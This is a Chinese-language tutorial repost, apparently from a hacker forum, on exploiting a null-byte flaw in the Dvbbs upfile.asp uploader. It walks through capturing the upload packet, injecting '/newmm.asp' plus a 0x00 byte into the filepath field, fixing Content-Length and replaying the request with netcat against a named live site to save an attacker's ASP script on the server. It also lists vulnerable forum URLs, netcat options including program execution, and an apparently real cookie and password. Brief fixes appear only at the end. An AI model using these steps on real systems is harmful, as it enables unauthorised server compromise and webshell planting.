手机
当前位置:查字典教程网 >编程开发 >ASP教程 >asp 之上传漏洞终结篇
asp 之上传漏洞终结篇
摘要:收藏关于上传漏洞的文章,最近一直遇到这个麻烦,作者:szjwwwww出自:黑鹰基地论坛http://www.3800cc.com一、写在前面...

收藏关于上传漏洞的文章,最近一直遇到这个麻烦,

作者:szjwwwww

出自:黑鹰基地论坛

http://www.3800cc.com

一、写在前面

***这个上传漏洞利用的原理只是针对form格式上传的asp和php脚本***

NC(Netcat)

用于提交数据包

DOS界面下运行:

NC-vvwww.***.com80<1.txt

-vv:回显

80:www端口

1.txt:就是你要发送的数据包

(更多使用方法请查看本区的帖子)

WSE(WSockExpert)

对本机端口的监视,抓取IE提交的数据包

(不会用的就自己到网上搜资料N多)

二、漏洞原理

下面例子假设的前提

www主机:www.***.com;

bbs路径:/bbs/

漏洞源于对动网上传文件的研究,建议有一定编程经验的

看看Dvbbs的upfile.asp文件,没有必要全部看懂

upfile是通过生成一个form表上传,

用到的变量:

filepath默认值uploadface属性hiden

act默认值upload属性hiden

file1就是你要传的那个文件

关键是filepath这个变量!

默认情况下我们的文件上传到www.***.com/bbs/uploadface/

文件是用你的上传时间命名的,就是upfile里的这一句

FileName=FormPath&year(now)&month(now)&day(now)&hour(now)&minute(now)&second(now)&ranNum&"."&FileExt

-------------------------------------------------------------------------

我们知道计算机里面的数据是一""为标致的用过C语言的都知道

chardata[]="bbs"

这个data数组长度是4:bbs

如果我们构造filepath如下,会怎么样呢?

filepath="/newmm.asp"

我们在2004.09.24.08.24传的文件就会发生变化

没有改时:

http://www.***.com/bbs/uploadface/200409240824.jpg

用我们构造的filepath时:

http://www.***.com/newmm.asp/200409240824.jpg

这样当服务器接收filepath数据时,检测到newmm.asp后面的

就理解为filepath的数据就结束了

这样我们上传的文件,比如c:1.asp

就保存成:http://www.***.com/newmm.asp

三、后期补充

漏洞公布以后很多网站做了相应的处理,但是对于filepath的过滤和处理都不行

有很多网站只是加了N个hiden属性的变量对付网上公布的upfile.exe就是那个

上传漏洞利用工具或者filepath变量利用工具(老兵的)...但是最基本的没改啊。。

而且很对网站的插件里有类似的漏洞,我要说的不要依赖哪些专门的工具

自己改WSE抓到的包里的filepath变量,然后在用NC提交。。。

就算他加N个hiden变量也于事无补。

当然,如果对filepath做了很严格的过滤的话我们的这些理论就将宣告终结

就是我们的新理论诞生的时候!

四、漏洞列表

http://dvd.3800cc.com/dispbbs.asp?BoardID=20&ID=5369

http://dvd.3800cc.com/dispbbs.asp?BoardID=20&ID=5530

http://dvd.3800cc.com/dispbbs.asp?BoardID=20&ID=5531

http://dvd.3800cc.com/dispbbs.asp?BoardID=20&ID=5693

http://dvd.3800cc.com/dispbbs.asp?BoardID=20&ID=5731

http://dvd.3800cc.com/dispbbs.asp?BoardID=20&ID=5746

监听外部主机

NC[-options]hostnameport[s][ports]...

监听本地主机

NC-l-pport[options][hostname][port]

options:

-ddetachfromconsole,stealthmode

-eproginboundprogramtoexec[dangerous!!]

-ggatewaysource-routinghoppoint[s],upto8

-Gnumsource-routingpointer:4,8,12,...

-hthiscruft

-isecsdelayintervalforlinessent,portsscanned

-llistenmode,forinboundconnects

-Llistenharder,re-listenonsocketclose

-nnumeric-onlyIPaddresses,noDNS

-ofilehexdumpoftraffic

-pportlocalportnumber

-rrandomizelocalandremoteports

-saddrlocalsourceaddress

-tanswerTELNETnegotiation

-uUDPmode

-vverbose[usetwicetobemoreverbose]

-wsecstimeoutforconnectsandfinalnetreads

-zzero-I/Omode[usedforscanning]

portnumberscanbeindividualorranges:m-n[inclusive]

详细实例:

---------------------------------------------------------------------------------

一、WSE抓包结果(存到1.txt里):

POST/bbs/upPhoto/upfile.aspHTTP/1.1

Accept:image/gif,image/x-xbitmap,image/jpeg,image/pjpeg,application/x-shockwave-flash,application/vnd.ms-excel,application/vnd.ms-powerpoint,application/msword,*/*

Referer:http://www.xin126.com/bbs/upPhoto/upload.asp

Accept-Language:zh-cn

Content-Type:multipart/form-data;boundary=---------------------------7d423a138d0278

Accept-Encoding:gzip,deflate

User-Agent:Mozilla/4.0(compatible;MSIE6.0;WindowsNT5.1;.NETCLR1.1.4322)

Host:www.xin126.com

Content-Length:1969

Connection:Keep-Alive

Cache-Control:no-cache

Cookie:ASPSESSIONIDACCCCDCS=NJHCPHPALBCANKOBECHKJANF;isCome=1;GAMVANCOOKIES=1;regTime=2004%2D9%2D24+3%3A39%3A37;username=szjwwwww;pass=5211314;dl=0;userID=62;ltStyle=0;loginTry=1;userPass=eb03f6c72908fd84

-----------------------------7d423a138d0278

Content-Disposition:form-data;name="filepath"

../medias/myPhoto/

-----------------------------7d423a138d0278

......

上传

-----------------------------7d423a138d0278--

---------------------------------------------------------------------------------

二、UltraEdit打开1.txt改数据:

......

-----------------------------7d423a138d0278

Content-Disposition:form-data;name="filepath"

/newmm.asp█<===这个黑色代表一个空格是0x20,改成0x00就可以了

......

三、重新计算cookies长度,然后nc提交

Nc-vvwww.xin126.com80<1.txt

UltraEdit是一个16位编辑器网上可以下载得到

我们主要用来写那个结束标致:====>16位表示:0x00或者00H

其实你改的时候就直接再filepath的结尾

处加个00就OK了

计算cookies长度===>你把fillepath改了之后、肯定是或+或—cookies的长度变了

......

Host:www.xin126.com

Content-Length:1969<======就是这个

Connection:Keep-Alive

Cache-Control:no-cache

......

计算会吧?一个字母、数字就是1

对于上传漏洞提出的解决思路:(仅供参考)

1、一般的上传是把上传路径作为一个变量来处理

===>我们的对策就是把filepath变成常量。。。

这个方法是目前最有效的(我认为的)

2、加强对于的处理,原来我们是读到这里就结束

我们继续读直道下一个变量开始的地方,处理就OK了

【asp 之上传漏洞终结篇】相关文章:

newasp中下载类

实例分析ASP上传漏洞入侵实战及扩展

asp限制上传文件大小实例

asp 检测服务器所安装组件

asp 简单数据库连接类

解决ASP(图像)上传漏洞的方法

newasp中main类

asp无组件上传带真实进度条

asp实现树型结构

asp 文件上传aspjpeg组件上传文件

精品推荐
分类导航